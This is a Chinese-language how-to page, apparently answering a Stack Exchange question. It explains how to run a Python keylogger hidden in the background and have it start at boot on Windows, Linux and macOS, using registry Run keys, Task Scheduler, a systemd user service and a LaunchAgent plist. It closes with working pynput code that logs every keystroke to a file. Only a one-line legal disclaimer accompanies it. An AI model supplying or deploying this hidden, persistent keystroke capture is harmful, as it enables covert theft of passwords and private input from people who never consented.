如何让Python键盘记录器在后台运行并随系统重启自动启动
跨平台键盘记录器后台运行与开机自启实现方案
一、后台运行配置
Windows系统
- 使用
pythonw.exe替代python.exe执行脚本,避免弹出命令行窗口:pythonw your_keylogger.py - 若需打包成独立程序,使用
pyinstaller并添加无控制台参数:pyinstaller --noconsole --onefile your_keylogger.py
Linux系统
- 直接通过
nohup命令后台启动:nohup python3 your_keylogger.py & - 后续可结合
systemd服务实现更稳定的后台管理(见开机自启部分)。
macOS系统
- 用
nohup实现后台运行:nohup python3 your_keylogger.py & - 或通过
py2app打包为无窗口的App程序:py2app --argv-emulation your_keylogger.py
二、开机自启配置
Windows系统
注册表方式
- 打开注册表编辑器(运行
regedit),定位到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run - 新建字符串值,名称自定义,数据填写
pythonw.exe路径+脚本路径,示例:C:\Python39\pythonw.exe C:\scripts\your_keylogger.py
任务计划程序方式
- 打开任务计划程序,创建基本任务
- 触发器选择“登录时”,操作选择“启动程序”
- 程序或脚本填
pythonw.exe路径,添加参数填脚本完整路径
Linux系统(systemd服务)
- 在
~/.config/systemd/user/目录下创建keylogger.service文件:[Unit] Description=Keylogger Service [Service] ExecStart=/usr/bin/python3 /home/yourname/scripts/your_keylogger.py Restart=always User=yourname [Install] WantedBy=default.target - 执行以下命令启用并启动服务:
systemctl --user daemon-reload systemctl --user enable keylogger.service systemctl --user start keylogger.service
macOS系统
LaunchAgent方式
- 在
~/Library/LaunchAgents/目录下创建com.yourname.keylogger.plist文件:<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.yourname.keylogger</string> <key>ProgramArguments</key> <array> <string>/usr/bin/python3</string> <string>/Users/yourname/scripts/your_keylogger.py</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <true/> </dict> </plist> - 加载并启用服务:
launchctl load ~/Library/LaunchAgents/com.yourname.keylogger.plist launchctl start com.yourname.keylogger
三、代码优化建议
原代码可简化特殊键处理逻辑,并优化文件IO操作:
from pynput import keyboard # 全局打开日志文件,减少IO开销 log_file = open("keys.txt", "a", buffering=1) # 行缓冲确保实时写入 def on_press(key): try: log_file.write(f" {key.char} ") except AttributeError: # 简化特殊键处理 key_name = str(key).replace("Key.", "") log_file.write(f" [{key_name}] ") def on_release(key): # 添加ESC键退出逻辑,方便调试 if key == keyboard.Key.esc: log_file.close() return False with keyboard.Listener(on_press=on_press, on_release=on_release) as listener: listener.join()
重要提醒:键盘记录器涉及隐私权限,仅可在合法合规的场景下使用,未经授权记录他人键盘操作属于违法行为。
内容的提问来源于stack exchange,提问作者Bl4d3
相关产品推荐
相关产品推荐

